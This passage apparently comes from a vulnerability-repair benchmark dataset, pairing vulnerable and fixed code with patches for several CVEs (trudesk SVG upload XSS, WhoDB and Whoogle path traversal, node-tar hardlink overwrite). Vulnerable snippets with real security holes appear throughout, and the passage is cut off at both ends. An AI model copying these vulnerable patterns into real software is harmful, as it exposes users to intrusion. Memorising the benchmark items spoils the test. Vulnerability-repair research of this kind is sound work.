ghcr.io/anonymous2578-data/cve-2017-0360:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/trytond\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2017-0360/bin/python -m unittest trytond.tests.test_tools.ToolsTestCase.test_file_open_suffix\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2017-0360:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/trytond\ngit apply --whitespace=nowarn /workspace/fix.patch\n/workspace/PoC_env/CVE-2017-0360/bin/python -m unittest trytond.tests.test_tools\n"}
{"cve_id": "CVE-2022-1045", "cve_description": "Stored XSS viva .svg file upload in GitHub repository polonel/trudesk prior to v1.2.0.", "cwe_info": {"CWE-434": {"name": "Unrestricted Upload of File with Dangerous Type", "description": "The product allows the upload or transfer of dangerous file types that are automatically processed within its environment."}}, "repo": "https://github.com/polonel/trudesk", "patch_url": ["https://github.com/polonel/trudesk/commit/c4b262c2613d4a8865de0b3252112544bd81997a"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_108_1", "commit": "d5695cf", "file_path": "src/controllers/tickets.js", "start_line": 533, "end_line": 641, "snippet": "ticketsController.uploadImageMDE = function (req, res) {\n  var Chance = require('chance')\n  var chance = new Chance()\n  var fs = require('fs-extra')\n  var Busboy = require('busboy')\n  var busboy = new Busboy({\n    headers: req.headers,\n    limits: {\n      files: 1,\n      fileSize: 5 * 1024 * 1024 // 5mb limit\n    }\n  })\n\n  var object = {}\n  var error\n\n  object.ticketId = req.headers.ticketid\n  if (!object.ticketId) return res.status(400).json({ success: false })\n\n  busboy.on('file', function (fieldname, file, filename, encoding, mimetype) {\n    if (mimetype.indexOf('image/') === -1) {\n      error = {\n        status: 500,\n        message: 'Invalid File Type'\n      }\n\n      return file.resume()\n    }\n\n    var ext = path.extname(filename)\n    var allowedExtensions = [\n      '.jpg',\n      '.jpeg',\n      '.jpe',\n      '.jif',\n      '.jfif',\n      '.jfi',\n      '.png',\n      '.gif',\n      '.webp',\n      '.tiff',\n      '.tif',\n      '.bmp',\n      '.dib',\n      '.heif',\n      '.heic',\n      '.svg',\n      '.svgz'\n    ]\n\n    if (!allowedExtensions.includes(ext.toLocaleLowerCase())) {\n      error = {\n        status: 400,\n        message: 'Invalid File Type'\n      }\n\n      return file.resume()\n    }\n\n    var savePath = path.join(__dirname, '../../public/uploads/tickets', object.ticketId)\n    // var sanitizedFilename = filename.replace(/[^a-z0-9.]/gi, '_').toLowerCase();\n    var sanitizedFilename = chance.hash({ length: 20 }) + ext\n    if (!fs.existsSync(savePath)) fs.ensureDirSync(savePath)\n\n    object.filePath = path.join(savePath, 'inline_' + sanitizedFilename)\n    object.filename = sanitizedFilename\n    object.mimetype = mimetype\n\n    if (fs.existsSync(object.filePath)) {\n      error = {\n        status: 500,\n        message: 'File already exists'\n      }\n\n      return file.resume()\n    }\n\n    file.on('limit', function () {\n      error = {\n        status: 500,\n        message: 'File too large'\n      }\n\n      // Delete the temp file\n      if (fs.existsSync(object.filePath)) fs.unlinkSync(object.filePath)\n\n      return file.resume()\n    })\n\n    file.pipe(fs.createWriteStream(object.filePath))\n  })\n\n  busboy.on('finish', function () {\n    if (error) return res.status(error.status).send(error.message)\n\n    if (_.isUndefined(object.ticketId) || _.isUndefined(object.filename) || _.isUndefined(object.filePath)) {\n      return res.status(400).send('Invalid Form Data')\n    }\n\n    // Everything Checks out lets make sure the file exists and then add it to the attachments array\n    if (!fs.existsSync(object.filePath)) return res.status(500).send('File Failed to Save to Disk')\n\n    var fileUrl = '/uploads/tickets/' + object.ticketId + '/inline_' + object.filename\n\n    return res.json({ filename: fileUrl, ticketId: object.ticketId })\n  })\n\n  req.pipe(busboy)\n}"}], "fix_func": [{"id": "fix_js_108_1", "commit": "c4b262c", "file_path": "src/controllers/tickets.js", "start_line": 533, "end_line": 639, "snippet": "ticketsController.uploadImageMDE = function (req, res) {\n  var Chance = require('chance')\n  var chance = new Chance()\n  var fs = require('fs-extra')\n  var Busboy = require('busboy')\n  var busboy = new Busboy({\n    headers: req.headers,\n    limits: {\n      files: 1,\n      fileSize: 5 * 1024 * 1024 // 5mb limit\n    }\n  })\n\n  var object = {}\n  var error\n\n  object.ticketId = req.headers.ticketid\n  if (!object.ticketId) return res.status(400).json({ success: false })\n\n  busboy.on('file', function (fieldname, file, filename, encoding, mimetype) {\n    if (mimetype.indexOf('image/') === -1) {\n      error = {\n        status: 500,\n        message: 'Invalid File Type'\n      }\n\n      return file.resume()\n    }\n\n    var ext = path.extname(filename)\n    var allowedExtensions = [\n      '.jpg',\n      '.jpeg',\n      '.jpe',\n      '.jif',\n      '.jfif',\n      '.jfi',\n      '.png',\n      '.gif',\n      '.webp',\n      '.tiff',\n      '.tif',\n      '.bmp',\n      '.dib',\n      '.heif',\n      '.heic'\n    ]\n\n    if (!allowedExtensions.includes(ext.toLocaleLowerCase())) {\n      error = {\n        status: 400,\n        message: 'Invalid File Type'\n      }\n\n      return file.resume()\n    }\n\n    var savePath = path.join(__dirname, '../../public/uploads/tickets', object.ticketId)\n    // var sanitizedFilename = filename.replace(/[^a-z0-9.]/gi, '_').toLowerCase();\n    var sanitizedFilename = chance.hash({ length: 20 }) + ext\n    if (!fs.existsSync(savePath)) fs.ensureDirSync(savePath)\n\n    object.filePath = path.join(savePath, 'inline_' + sanitizedFilename)\n    object.filename = sanitizedFilename\n    object.mimetype = mimetype\n\n    if (fs.existsSync(object.filePath)) {\n      error = {\n        status: 500,\n        message: 'File already exists'\n      }\n\n      return file.resume()\n    }\n\n    file.on('limit', function () {\n      error = {\n        status: 500,\n        message: 'File too large'\n      }\n\n      // Delete the temp file\n      if (fs.existsSync(object.filePath)) fs.unlinkSync(object.filePath)\n\n      return file.resume()\n    })\n\n    file.pipe(fs.createWriteStream(object.filePath))\n  })\n\n  busboy.on('finish', function () {\n    if (error) return res.status(error.status).send(error.message)\n\n    if (_.isUndefined(object.ticketId) || _.isUndefined(object.filename) || _.isUndefined(object.filePath)) {\n      return res.status(400).send('Invalid Form Data')\n    }\n\n    // Everything Checks out lets make sure the file exists and then add it to the attachments array\n    if (!fs.existsSync(object.filePath)) return res.status(500).send('File Failed to Save to Disk')\n\n    var fileUrl = '/uploads/tickets/' + object.ticketId + '/inline_' + object.filename\n\n    return res.json({ filename: fileUrl, ticketId: object.ticketId })\n  })\n\n  req.pipe(busboy)\n}"}], "vul_patch": "--- a/src/controllers/tickets.js\n+++ b/src/controllers/tickets.js\n@@ -43,9 +43,7 @@\n       '.bmp',\n       '.dib',\n       '.heif',\n-      '.heic',\n-      '.svg',\n-      '.svgz'\n+      '.heic'\n     ]\n \n     if (!allowedExtensions.includes(ext.toLocaleLowerCase())) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-24786", "cve_description": "WhoDB is an open source database management tool. While the application only displays Sqlite3 databases present in the directory `/db`, there is no path traversal prevention in place. This allows an unauthenticated attacker to open any Sqlite3 database present on the host machine that the application is running on. Affected versions of WhoDB allow users to connect to Sqlite3 databases. By default, the databases must be present in `/db/` (or alternatively `./tmp/` if development mode is enabled).  If no databases are present in the default directory, the UI indicates that the user is unable to open any databases. The database file is an user-controlled value. This value is used in `.Join()` with the default directory, in order to get the full path of the database file to open. No checks are performed whether the database file that is eventually opened actually resides in the default directory `/db`. This allows an attacker to use path traversal (`../../`) in order to open any Sqlite3 database present on the system. This issue has been addressed in version 0.45.0 and all users are advised to upgrade. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/clidey/whodb", "patch_url": ["https://github.com/clidey/whodb/commit/547336ac73c8d17929c18c3941c0d5b0099753cc"], "programing_language": "Go", "vul_func": [{"id": "vul_go_217_1", "commit": "3f6fcab", "file_path": "core/src/plugins/sqlite3/db.go", "start_line": 14, "end_line": 20, "snippet": "func getDefaultDirectory() string {\n\tdirectory := \"/db\"\n\tif env.IsDevelopment {\n\t\tdirectory = \"./tmp\"\n\t}\n\treturn directory\n}"}, {"id": "vul_go_217_2", "commit": "3f6fcab", "file_path": "core/src/plugins/sqlite3/db.go", "start_line": 24, "end_line": 35, "snippet": "func DB(config *engine.PluginConfig) (*gorm.DB, error) {\n\tdatabase := config.Credentials.Database\n\tfileNameDatabase := filepath.Join(getDefaultDirectory(), database)\n\tif _, err := os.Stat(fileNameDatabase); errors.Is(err, os.ErrNotExist) {\n\t\treturn nil, errDoesNotExist\n\t}\n\tdb, err := gorm.Open(sqlite.Open(fileNameDatabase), &gorm.Config{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn db, nil\n}"}], "fix_func": [{"id": "fix_go_217_1", "commit": "547336ac73c8d17929c18c3941c0d5b0099753cc", "file_path": "core/src/plugins/sqlite3/db.go", "start_line": 14, "end_line": 20, "snippet": "func getDefaultDirectory() string {\n\tdirectory := \"/db/\"\n\tif env.IsDevelopment {\n\t\tdirectory = \"./tmp/\"\n\t}\n\treturn directory\n}"}, {"id": "fix_go_217_2", "commit": "547336ac73c8d17929c18c3941c0d5b0099753cc", "file_path": "core/src/plugins/sqlite3/db.go", "start_line": 24, "end_line": 38, "snippet": "func DB(config *engine.PluginConfig) (*gorm.DB, error) {\n\tdatabase := config.Credentials.Database\n\tfileNameDatabase := filepath.Join(getDefaultDirectory(), database)\n\tif !strings.HasPrefix(fileNameDatabase, getDefaultDirectory()) {\n\t\treturn nil, errDoesNotExist\n\t}\n\tif _, err := os.Stat(fileNameDatabase); errors.Is(err, os.ErrNotExist) {\n\t\treturn nil, errDoesNotExist\n\t}\n\tdb, err := gorm.Open(sqlite.Open(fileNameDatabase), &gorm.Config{})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn db, nil\n}"}], "vul_patch": "--- a/core/src/plugins/sqlite3/db.go\n+++ b/core/src/plugins/sqlite3/db.go\n@@ -1,7 +1,7 @@\n func getDefaultDirectory() string {\n-\tdirectory := \"/db\"\n+\tdirectory := \"/db/\"\n \tif env.IsDevelopment {\n-\t\tdirectory = \"./tmp\"\n+\t\tdirectory = \"./tmp/\"\n \t}\n \treturn directory\n }\n\n--- a/core/src/plugins/sqlite3/db.go\n+++ b/core/src/plugins/sqlite3/db.go\n@@ -1,6 +1,9 @@\n func DB(config *engine.PluginConfig) (*gorm.DB, error) {\n \tdatabase := config.Credentials.Database\n \tfileNameDatabase := filepath.Join(getDefaultDirectory(), database)\n+\tif !strings.HasPrefix(fileNameDatabase, getDefaultDirectory()) {\n+\t\treturn nil, errDoesNotExist\n+\t}\n \tif _, err := os.Stat(fileNameDatabase); errors.Is(err, os.ErrNotExist) {\n \t\treturn nil, errDoesNotExist\n \t}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-22204", "cve_description": "Whoogle Search is a self-hosted metasearch engine. Versions 0.8.3 and prior have a limited file write vulnerability when the configuration options in Whoogle are enabled. The `config` function in `app/routes.py` does not validate the user-controlled `name` variable on line 447 and `config_data` variable on line 437. The `name` variable is insecurely concatenated in `os.path.join`, leading to path manipulation. The POST data from the `config_data` variable is saved with `pickle.dump` which leads to a limited file write. However, the data that is saved is earlier transformed into a dictionary and the `url` key value pair is added before the file is saved on the system. All in all, the issue allows us to save and overwrite files on the system that the application has permissions to, with a dictionary containing arbitrary data and the `url` key value, which is a limited file write. Version 0.8.4 contains a patch for this issue.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/benbusby/whoogle-search", "patch_url": ["https://github.com/benbusby/whoogle-search/commit/3a2e0b262e4a076a20416b45e6b6f23fd265aeda"], "programing_language": "Python", "vul_func": [{"id": "vul_py_324_1", "commit": "8830615", "file_path": "app/routes.py", "start_line": 419, "end_line": 452, "snippet": "def config():\n    config_disabled = (\n            app.config['CONFIG_DISABLE'] or\n            not valid_user_session(session))\n    if request.method == 'GET':\n        return json.dumps(g.user_config.__dict__)\n    elif request.method == 'PUT' and not config_disabled:\n        if 'name' in request.args:\n            config_pkl = os.path.join(\n                app.config['CONFIG_PATH'],\n                request.args.get('name'))\n            session['config'] = (pickle.load(open(config_pkl, 'rb'))\n                                 if os.path.exists(config_pkl)\n                                 else session['config'])\n            return json.dumps(session['config'])\n        else:\n            return json.dumps({})\n    elif not config_disabled:\n        config_data = request.form.to_dict()\n        if 'url' not in config_data or not config_data['url']:\n            config_data['url'] = g.user_config.url\n\n        # Save config by name to allow a user to easily load later\n        if 'name' in request.args:\n            pickle.dump(\n                config_data,\n                open(os.path.join(\n                    app.config['CONFIG_PATH'],\n                    request.args.get('name')), 'wb'))\n\n        session['config'] = config_data\n        return redirect(config_data['url'])\n    else:\n        return redirect(url_for('.index'), code=403)"}, {"id": "vul_py_324_2", "commit": "8830615", "file_path": "app/routes.py", "start_line": 465, "end_line": 490, "snippet": "def element():\n    element_url = src_url = request.args.get('url')\n    if element_url.startswith('gAAAAA'):\n        try:\n            cipher_suite = Fernet(g.session_key)\n            src_url = cipher_suite.decrypt(element_url.encode()).decode()\n        except (InvalidSignature, InvalidToken) as e:\n            return render_template(\n                'error.html',\n                error_message=str(e)), 401\n\n    src_type = request.args.get('type')\n\n    try:\n        file_data = g.user_request.send(base_url=src_url).content\n        tmp_mem = io.BytesIO()\n        tmp_mem.write(file_data)\n        tmp_mem.seek(0)\n\n        return send_file(tmp_mem, mimetype=src_type)\n    except exceptions.RequestException:\n        pass\n\n    empty_gif = base64.b64decode(\n        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n    return send_file(io.BytesIO(empty_gif), mimetype='image/gif')"}, {"id": "vul_py_324_3", "commit": "8830615", "file_path": "app/routes.py", "start_line": 496, "end_line": 557, "snippet": "def window():\n    target_url = request.args.get('location')\n    if target_url.startswith('gAAAAA'):\n        cipher_suite = Fernet(g.session_key)\n        target_url = cipher_suite.decrypt(target_url.encode()).decode()\n\n    content_filter = Filter(\n        g.session_key,\n        root_url=request.url_root,\n        config=g.user_config)\n    target = urlparse.urlparse(target_url)\n    host_url = f'{target.scheme}://{target.netloc}'\n\n    get_body = g.user_request.send(base_url=target_url).text\n\n    results = bsoup(get_body, 'html.parser')\n    src_attrs = ['src', 'href', 'srcset', 'data-srcset', 'data-src']\n\n    # Parse HTML response and replace relative links w/ absolute\n    for element in results.find_all():\n        for attr in src_attrs:\n            if not element.has_attr(attr) or not element[attr].startswith('/'):\n                continue\n\n            element[attr] = host_url + element[attr]\n\n    # Replace or remove javascript sources\n    for script in results.find_all('script', {'src': True}):\n        if 'nojs' in request.args:\n            script.decompose()\n        else:\n            content_filter.update_element_src(script, 'application/javascript')\n\n    # Replace all possible image attributes\n    img_sources = ['src', 'data-src', 'data-srcset', 'srcset']\n    for img in results.find_all('img'):\n        _ = [\n            content_filter.update_element_src(img, 'image/png', attr=_)\n            for _ in img_sources if img.has_attr(_)\n        ]\n\n    # Replace all stylesheet sources\n    for link in results.find_all('link', {'href': True}):\n        content_filter.update_element_src(link, 'text/css', attr='href')\n\n    # Use anonymous view for all links on page\n    for a in results.find_all('a', {'href': True}):\n        a['href'] = f'{Endpoint.window}?location=' + a['href'] + (\n            '&nojs=1' if 'nojs' in request.args else '')\n\n    # Remove all iframes -- these are commonly used inside of <noscript> tags\n    # to enforce loading Google Analytics\n    for iframe in results.find_all('iframe'):\n        iframe.decompose()\n\n    return render_template(\n        'display.html',\n        response=results,\n        translation=app.config['TRANSLATIONS'][\n            g.user_config.get_localization_lang()\n        ]\n    )"}], "fix_func": [{"id": "fix_py_324_1", "commit": "3a2e0b262e4a076a20416b45e6b6f23fd265aeda", "file_path": "app/routes.py", "start_line": 421, "end_line": 459, "snippet": "def config():\n    config_disabled = (\n            app.config['CONFIG_DISABLE'] or\n            not valid_user_session(session))\n\n    name = ''\n    if 'name' in request.args:\n        name = os.path.normpath(request.args.get('name'))\n        if not re.match(r'^[A-Za-z0-9_.+-]+$', name):\n            return make_response('Invalid config name', 400)\n\n    if request.method == 'GET':\n        return json.dumps(g.user_config.__dict__)\n    elif request.method == 'PUT' and not config_disabled:\n        if name:\n            config_pkl = os.path.join(app.config['CONFIG_PATH'], name)\n            session['config'] = (pickle.load(open(config_pkl, 'rb'))\n                                 if os.path.exists(config_pkl)\n                                 else session['config'])\n            return json.dumps(session['config'])\n        else:\n            return json.dumps({})\n    elif not config_disabled:\n        config_data = request.form.to_dict()\n        if 'url' not in config_data or not config_data['url']:\n            config_data['url'] = g.user_config.url\n\n        # Save config by name to allow a user to easily load later\n        if 'name' in request.args:\n            pickle.dump(\n                config_data,\n                open(os.path.join(\n                    app.config['CONFIG_PATH'],\n                    name), 'wb'))\n\n        session['config'] = config_data\n        return redirect(config_data['url'])\n    else:\n        return redirect(url_for('.index'), code=403)"}, {"id": "fix_py_324_2", "commit": "3a2e0b262e4a076a20416b45e6b6f23fd265aeda", "file_path": "app/routes.py", "start_line": 472, "end_line": 502, "snippet": "def element():\n    empty_gif = base64.b64decode(\n        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n    element_url = src_url = request.args.get('url')\n    if element_url.startswith('gAAAAA'):\n        try:\n            cipher_suite = Fernet(g.session_key)\n            src_url = cipher_suite.decrypt(element_url.encode()).decode()\n        except (InvalidSignature, InvalidToken) as e:\n            return render_template(\n                'error.html',\n                error_message=str(e)), 401\n\n    src_type = request.args.get('type')\n\n    # Ensure requested element is from a valid domain\n    domain = urlparse.urlparse(src_url).netloc\n    if not validators.domain(domain):\n        return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n\n    try:\n        file_data = g.user_request.send(base_url=src_url).content\n        tmp_mem = io.BytesIO()\n        tmp_mem.write(file_data)\n        tmp_mem.seek(0)\n\n        return send_file(tmp_mem, mimetype=src_type)\n    except exceptions.RequestException:\n        pass\n\n    return send_file(io.BytesIO(empty_gif), mimetype='image/gif')"}, {"id": "fix_py_324_3", "commit": "3a2e0b262e4a076a20416b45e6b6f23fd265aeda", "file_path": "app/routes.py", "start_line": 496, "end_line": 557, "snippet": "        tmp_mem.seek(0)\n\n        return send_file(tmp_mem, mimetype=src_type)\n    except exceptions.RequestException:\n        pass\n\n    return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n\n\n@app.route(f'/{Endpoint.window}')\n@session_required\n@auth_required\ndef window():\n    target_url = request.args.get('location')\n    if target_url.startswith('gAAAAA'):\n        cipher_suite = Fernet(g.session_key)\n        target_url = cipher_suite.decrypt(target_url.encode()).decode()\n\n    content_filter = Filter(\n        g.session_key,\n        root_url=request.url_root,\n        config=g.user_config)\n    target = urlparse.urlparse(target_url)\n\n    # Ensure requested URL has a valid domain\n    if not validators.domain(target.netloc):\n        return render_template(\n            'error.html',\n            error_message='Invalid location'), 400\n\n    host_url = f'{target.scheme}://{target.netloc}'\n\n    get_body = g.user_request.send(base_url=target_url).text\n\n    results = bsoup(get_body, 'html.parser')\n    src_attrs = ['src', 'href', 'srcset', 'data-srcset', 'data-src']\n\n    # Parse HTML response and replace relative links w/ absolute\n    for element in results.find_all():\n        for attr in src_attrs:\n            if not element.has_attr(attr) or not element[attr].startswith('/'):\n                continue\n\n            element[attr] = host_url + element[attr]\n\n    # Replace or remove javascript sources\n    for script in results.find_all('script', {'src': True}):\n        if 'nojs' in request.args:\n            script.decompose()\n        else:\n            content_filter.update_element_src(script, 'application/javascript')\n\n    # Replace all possible image attributes\n    img_sources = ['src', 'data-src', 'data-srcset', 'srcset']\n    for img in results.find_all('img'):\n        _ = [\n            content_filter.update_element_src(img, 'image/png', attr=_)\n            for _ in img_sources if img.has_attr(_)\n        ]\n\n    # Replace all stylesheet sources\n    for link in results.find_all('link', {'href': True}):"}], "vul_patch": "--- a/app/routes.py\n+++ b/app/routes.py\n@@ -2,13 +2,18 @@\n     config_disabled = (\n             app.config['CONFIG_DISABLE'] or\n             not valid_user_session(session))\n+\n+    name = ''\n+    if 'name' in request.args:\n+        name = os.path.normpath(request.args.get('name'))\n+        if not re.match(r'^[A-Za-z0-9_.+-]+$', name):\n+            return make_response('Invalid config name', 400)\n+\n     if request.method == 'GET':\n         return json.dumps(g.user_config.__dict__)\n     elif request.method == 'PUT' and not config_disabled:\n-        if 'name' in request.args:\n-            config_pkl = os.path.join(\n-                app.config['CONFIG_PATH'],\n-                request.args.get('name'))\n+        if name:\n+            config_pkl = os.path.join(app.config['CONFIG_PATH'], name)\n             session['config'] = (pickle.load(open(config_pkl, 'rb'))\n                                  if os.path.exists(config_pkl)\n                                  else session['config'])\n@@ -26,7 +31,7 @@\n                 config_data,\n                 open(os.path.join(\n                     app.config['CONFIG_PATH'],\n-                    request.args.get('name')), 'wb'))\n+                    name), 'wb'))\n \n         session['config'] = config_data\n         return redirect(config_data['url'])\n\n--- a/app/routes.py\n+++ b/app/routes.py\n@@ -1,4 +1,6 @@\n def element():\n+    empty_gif = base64.b64decode(\n+        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n     element_url = src_url = request.args.get('url')\n     if element_url.startswith('gAAAAA'):\n         try:\n@@ -11,6 +13,11 @@\n \n     src_type = request.args.get('type')\n \n+    # Ensure requested element is from a valid domain\n+    domain = urlparse.urlparse(src_url).netloc\n+    if not validators.domain(domain):\n+        return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n+\n     try:\n         file_data = g.user_request.send(base_url=src_url).content\n         tmp_mem = io.BytesIO()\n@@ -21,6 +28,4 @@\n     except exceptions.RequestException:\n         pass\n \n-    empty_gif = base64.b64decode(\n-        'R0lGODlhAQABAIAAAP///////yH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==')\n     return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n\n--- a/app/routes.py\n+++ b/app/routes.py\n@@ -1,3 +1,15 @@\n+        tmp_mem.seek(0)\n+\n+        return send_file(tmp_mem, mimetype=src_type)\n+    except exceptions.RequestException:\n+        pass\n+\n+    return send_file(io.BytesIO(empty_gif), mimetype='image/gif')\n+\n+\n+@app.route(f'/{Endpoint.window}')\n+@session_required\n+@auth_required\n def window():\n     target_url = request.args.get('location')\n     if target_url.startswith('gAAAAA'):\n@@ -9,6 +21,13 @@\n         root_url=request.url_root,\n         config=g.user_config)\n     target = urlparse.urlparse(target_url)\n+\n+    # Ensure requested URL has a valid domain\n+    if not validators.domain(target.netloc):\n+        return render_template(\n+            'error.html',\n+            error_message='Invalid location'), 400\n+\n     host_url = f'{target.scheme}://{target.netloc}'\n \n     get_body = g.user_request.send(base_url=target_url).text\n@@ -41,22 +60,3 @@\n \n     # Replace all stylesheet sources\n     for link in results.find_all('link', {'href': True}):\n-        content_filter.update_element_src(link, 'text/css', attr='href')\n-\n-    # Use anonymous view for all links on page\n-    for a in results.find_all('a', {'href': True}):\n-        a['href'] = f'{Endpoint.window}?location=' + a['href'] + (\n-            '&nojs=1' if 'nojs' in request.args else '')\n-\n-    # Remove all iframes -- these are commonly used inside of <noscript> tags\n-    # to enforce loading Google Analytics\n-    for iframe in results.find_all('iframe'):\n-        iframe.decompose()\n-\n-    return render_template(\n-        'display.html',\n-        response=results,\n-        translation=app.config['TRANSLATIONS'][\n-            g.user_config.get_localization_lang()\n-        ]\n-    )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2018-20834", "cve_description": "A vulnerability was found in node-tar before version 4.4.2 (excluding version 2.2.2). An Arbitrary File Overwrite issue exists when extracting a tarball containing a hardlink to a file that already exists on the system, in conjunction with a later plain file with the same name as the hardlink. This plain file content replaces the existing file content. A patch has been applied to node-tar v2.2.2).", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/npm/node-tar", "patch_url": ["https://github.com/npm/node-tar/commit/7ecef07da6a9e72cc0c4d0c9c6a8e85b6b52395d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_63_1", "commit": "9fc84b9", "file_path": "lib/parse.js", "start_line": 140, "end_line": 285, "snippet": "Parse.prototype._startEntry = function (c) {\n  var header = new TarHeader(c)\n    , self = this\n    , entry\n    , ev\n    , EntryType\n    , onend\n    , meta = false\n\n  if (null === header.size || !header.cksumValid) {\n    var e = new Error(\"invalid tar file\")\n    e.header = header\n    e.tar_file_offset = this.position\n    e.tar_block = this.position / 512\n    return this.emit(\"error\", e)\n  }\n\n  switch (tar.types[header.type]) {\n    case \"File\":\n    case \"OldFile\":\n    case \"Link\":\n    case \"SymbolicLink\":\n    case \"CharacterDevice\":\n    case \"BlockDevice\":\n    case \"Directory\":\n    case \"FIFO\":\n    case \"ContiguousFile\":\n    case \"GNUDumpDir\":\n      // start a file.\n      // pass in any extended headers\n      // These ones consumers are typically most interested in.\n      EntryType = Entry\n      ev = \"entry\"\n      break\n\n    case \"GlobalExtendedHeader\":\n      // extended headers that apply to the rest of the tarball\n      EntryType = ExtendedHeader\n      onend = function () {\n        self._global = self._global || {}\n        Object.keys(entry.fields).forEach(function (k) {\n          self._global[k] = entry.fields[k]\n        })\n      }\n      ev = \"globalExtendedHeader\"\n      meta = true\n      break\n\n    case \"ExtendedHeader\":\n    case \"OldExtendedHeader\":\n      // extended headers that apply to the next entry\n      EntryType = ExtendedHeader\n      onend = function () {\n        self._extended = entry.fields\n      }\n      ev = \"extendedHeader\"\n      meta = true\n      break\n\n    case \"NextFileHasLongLinkpath\":\n      // set linkpath=<contents> in extended header\n      EntryType = BufferEntry\n      onend = function () {\n        self._extended = self._extended || {}\n        self._extended.linkpath = entry.body\n      }\n      ev = \"longLinkpath\"\n      meta = true\n      break\n\n    case \"NextFileHasLongPath\":\n    case \"OldGnuLongPath\":\n      // set path=<contents> in file-extended header\n      EntryType = BufferEntry\n      onend = function () {\n        self._extended = self._extended || {}\n        self._extended.path = entry.body\n      }\n      ev = \"longPath\"\n      meta = true\n      break\n\n    default:\n      // all the rest we skip, but still set the _entry\n      // member, so that we can skip over their data appropriately.\n      // emit an event to say that this is an ignored entry type?\n      EntryType = Entry\n      ev = \"ignoredEntry\"\n      break\n  }\n\n  var global, extended\n  if (meta) {\n    global = extended = null\n  } else {\n    var global = this._global\n    var extended = this._extended\n\n    // extendedHeader only applies to one entry, so once we start\n    // an entry, it's over.\n    this._extended = null\n  }\n  entry = new EntryType(header, extended, global)\n  entry.meta = meta\n\n  // only proxy data events of normal files.\n  if (!meta) {\n    entry.on(\"data\", function (c) {\n      me.emit(\"data\", c)\n    })\n  }\n\n  if (onend) entry.on(\"end\", onend)\n\n  if (entry.type === \"File\" && this._hardLinks[entry.path]) {\n    ev = \"ignoredEntry\"\n  }\n\n  this._entry = entry\n\n  if (entry.type === \"Link\") {\n    this._hardLinks[entry.path] = entry\n  }\n\n  var me = this\n\n  entry.on(\"pause\", function () {\n    me.pause()\n  })\n\n  entry.on(\"resume\", function () {\n    me.resume()\n  })\n\n  if (this.listeners(\"*\").length) {\n    this.emit(\"*\", ev, entry)\n  }\n\n  this.emit(ev, entry)\n\n  // Zero-byte entry.  End immediately.\n  if (entry.props.size === 0) {\n    entry.end()\n    this._entry = null\n  }\n}"}], "fix_func": [{"id": "fix_js_63_1", "commit": "7ecef07da6a9e72cc0c4d0c9c6a8e85b6b52395d", "file_path": "lib/parse.js", "start_line": 140, "end_line": 281, "snippet": "Parse.prototype._startEntry = function (c) {\n  var header = new TarHeader(c)\n    , self = this\n    , entry\n    , ev\n    , EntryType\n    , onend\n    , meta = false\n\n  if (null === header.size || !header.cksumValid) {\n    var e = new Error(\"invalid tar file\")\n    e.header = header\n    e.tar_file_offset = this.position\n    e.tar_block = this.position / 512\n    return this.emit(\"error\", e)\n  }\n\n  switch (tar.types[header.type]) {\n    case \"File\":\n    case \"OldFile\":\n    case \"Link\":\n    case \"SymbolicLink\":\n    case \"CharacterDevice\":\n    case \"BlockDevice\":\n    case \"Directory\":\n    case \"FIFO\":\n    case \"ContiguousFile\":\n    case \"GNUDumpDir\":\n      // start a file.\n      // pass in any extended headers\n      // These ones consumers are typically most interested in.\n      EntryType = Entry\n      ev = \"entry\"\n      break\n\n    case \"GlobalExtendedHeader\":\n      // extended headers that apply to the rest of the tarball\n      EntryType = ExtendedHeader\n      onend = function () {\n        self._global = self._global || {}\n        Object.keys(entry.fields).forEach(function (k) {\n          self._global[k] = entry.fields[k]\n        })\n      }\n      ev = \"globalExtendedHeader\"\n      meta = true\n      break\n\n    case \"ExtendedHeader\":\n    case \"OldExtendedHeader\":\n      // extended headers that apply to the next entry\n      EntryType = ExtendedHeader\n      onend = function () {\n        self._extended = entry.fields\n      }\n      ev = \"extendedHeader\"\n      meta = true\n      break\n\n    case \"NextFileHasLongLinkpath\":\n      // set linkpath=<contents> in extended header\n      EntryType = BufferEntry\n      onend = function () {\n        self._extended = self._extended || {}\n        self._extended.linkpath = entry.body\n      }\n      ev = \"longLinkpath\"\n      meta = true\n      break\n\n    